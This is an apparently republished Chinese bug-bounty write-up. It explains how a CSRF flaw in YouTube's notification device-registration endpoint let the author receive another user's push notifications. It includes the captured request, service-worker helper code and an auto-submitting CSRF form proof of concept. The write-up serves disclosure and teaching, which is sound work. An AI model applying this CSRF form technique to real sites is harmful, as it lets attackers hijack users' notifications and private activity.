溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何利用CSRF漏洞劫持Youtube用戶的通知消息

發(fā)布時間:2021-12-16 18:07:58 來源:億速云 閱讀:141 作者:柒染 欄目:安全技術(shù)

這篇文章給大家介紹如何利用CSRF漏洞劫持Youtube用戶的通知消息,內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

今天分享的writeup是關(guān)于YouTube通知服務(wù)(Notification)的CSRF漏洞,作者利用該漏洞可以劫持其他YouTube用戶(受害者)的通知服務(wù),能以受害者用戶身份接收到其訂閱頻道或視頻的最新通知,漏洞最終獲得Google官方$3133.7美金的獎勵,以下是作者的分享。

從POST請求中發(fā)現(xiàn)端倪

某天晚上,我在YouTube官網(wǎng)上測試漏洞,看看能有什么發(fā)現(xiàn),不知不覺時間已經(jīng)是半夜00:30了,困累之極.....。我就隨便點點打開了YouTube的通知服務(wù)(Notification),其中的POST請求引起了我的注意:

POST /notifications_ajax?action_register_device=1 HTTP/1.1
Host: www.youtube.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.youtube.com/sw.js
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Origin: https://www.youtube.com
Content-Length: 1459
Connection: close
Cookie: duh, cookies!
-----------------------------41184676334
Content-Disposition: form-data; name="endpoint"
https://updates.push.services.mozilla.com/wpush/v1/gAAA...
-----------------------------41184676334
Content-Disposition: form-data; name="device_id"
dbe8453d99714c6160994fdf5bb3c59332df04278a...
-----------------------------41184676334
Content-Disposition: form-data; name="p256dh_key"
BBNVkVOt6tpY1KvJJqtLvqt...
-----------------------------41184676334
Content-Disposition: form-data; name="auth_key"
V5-_lh7nYT2zoY...
-----------------------------41184676334
Content-Disposition: form-data; name="permission"
granted
-----------------------------41184676334--

乍一看,為了防止CSRF,其中的auth_key、p256dh_key、endpoint、device_id等參數(shù)貌似都是經(jīng)過編碼的字符串,但仔細(xì)一分析才知道,這些所有的參數(shù)都是由其中updates.push.services.mozilla.com的Mozilla通知推送服務(wù)產(chǎn)生的,所以,這樣初略來看,該接口上不存在CSRF漏洞。

分析Service Worker 服務(wù)工作線程

深入分析可知,上述POST請求中的referrer字段值為“https://www.youtube.com/sw.js”,這個sw.js明顯為一個服務(wù)工作線程腳本(Service Worker)。

Service Worker 是獨立于當(dāng)前頁面的一段運(yùn)行在瀏覽器后臺進(jìn)程里的腳本。Service Worker不需要用戶打開 web 頁面,也不需要其他交互,異步地運(yùn)行在一個完全獨立的上下文環(huán)境,不會對主線程造成阻塞?;赟ervice Worker可以實現(xiàn)消息推送、離線緩存和后臺同步API等功能,本質(zhì)上來說,Service Worker充當(dāng)了Web應(yīng)用程序與瀏覽器之間的代理。

也就是說,referrer字段中的sw.js發(fā)起了這個POST請求,以至于這個請求和其它具備CSRF防御機(jī)制的YouTube請求內(nèi)容存在不同。

構(gòu)造CSRF攻擊框架

到了這一步,從這些參數(shù)里,我隱約覺得這里應(yīng)該會有漏洞出現(xiàn),但總要構(gòu)造個PoC出來試試看。因此,通過研究以上參數(shù)的生成機(jī)制,我利用sw.js原理,編寫了以下三個代碼文件,構(gòu)建了一個本地服務(wù)端來生成其中的各個參數(shù)。

index.html:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Push Demo</title>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" type="text/css" media="screen" href="index.css" />
    <script src="index.js"></script>
</head>
<body>
    <h2>Hello World</h2>
    <button id="permission-btn" onclick="main()">Ask Permission</button>
</body>
</html>

index.js:


const check = () => {
  if (!('serviceWorker' in navigator)) {
    throw new Error('No Service Worker support!')
  }
  if (!('PushManager' in window)) {
    throw new Error('No Push API Support!')
  }
}
const registerServiceWorker = async () => {
  const swRegistration = await navigator.serviceWorker.register('sw.js')
  return swRegistration
}
const requestNotificationPermission = async () => {
  const permission = await window.Notification.requestPermission()
  if (permission !== 'granted') {
    throw new Error('Permission not granted for Notification')
  }
}
const main = async () => {
  check()
  const swRegistration = await registerServiceWorker()
  const permission = await requestNotificationPermission()
}

sw.js:

self.addEventListener('activate', async () => {   console.log("Hello");
      self.registration.pushManager.subscribe()
  .then(function(subscription) {
          console.log(JSON.stringify(subscription));
  })
  .catch(function(e) {
    console.log(e);
  });
})
self.addEventListener("push", function(event) {
  if (event.data) {
    console.log("Push event!! ", event.data.text());
    showLocalNotification("Yolo", event.data.text(),  self.registration);
  } else {
    console.log("Push event but no data");
  }
});
const showLocalNotification = (title, body, swRegistration) => {
  const options = {
    body
    // here you can add more properties like icon, image, vibrate, etc.
  };
  swRegistration.showNotification(title, options);
};

這三個代碼文件的目的在于獲取sw.js請求時生成的各個參數(shù),有了這些參數(shù),就可以間接形成通知(Notification),打開其中的index.html頁面,點擊Ask Permission按鈕請求通知權(quán)限,后臺調(diào)用sw.js腳本,通過內(nèi)置的Firefox API形成一個本地的通知服務(wù)端,通知請求提交時,我們就能獲取到其中的各個參數(shù)。利用這些參數(shù),可以進(jìn)一步構(gòu)造出CSRF攻擊框架,就能獲取到對應(yīng)的通知消息。

在本地loclalhost構(gòu)造這種通知請求服務(wù)端,需要用到Service Worker 服務(wù)工作線程(sw.js)的部署原理,其中涉及服務(wù)注冊、激活、緩存控制和相關(guān)響應(yīng)機(jī)制,具體可參考:developer.mozilla.org和developers.google.com中的詳細(xì)介紹說明。

如何利用CSRF漏洞劫持Youtube用戶的通知消息綜合上述分析,基于我們之前創(chuàng)建的本地通知服務(wù)端,結(jié)合Youtube的通知請求提交方式,我構(gòu)造了以下CSRF攻擊框架:

<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf">
        <input type="text" name="device_id" value="replace">
        <input type="text" name="permission" value="granted">
                <input type="text" name="endpoint" value="replace">
                <input type="text" name="p256dh_key" value="replace=">
                <input type="text" name="auth_key" value="replace">
        <input type="submit">
        <script type="text/javascript">document.csrf.submit();</script>
</form>
</html>

讓我意想不到的是,我在其中以其他Youtube賬號身份,利用獲取到的各種請求參數(shù),提交了通知請求,竟然能有效實施通知消息的CSRF攻擊。也就是說,我們現(xiàn)在可以劫持到其他Youtube賬號的消息推送接口(PUSH webhook),以其他Youtube賬號身份收取到Y(jié)outube響應(yīng)該賬號的相關(guān)通知,這些通知可能是他訂閱的某個頻道或視頻的更新消息,也可能是他私人視頻的觀眾評論等,如下:

如何利用CSRF漏洞劫持Youtube用戶的通知消息

關(guān)于如何利用CSRF漏洞劫持Youtube用戶的通知消息就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI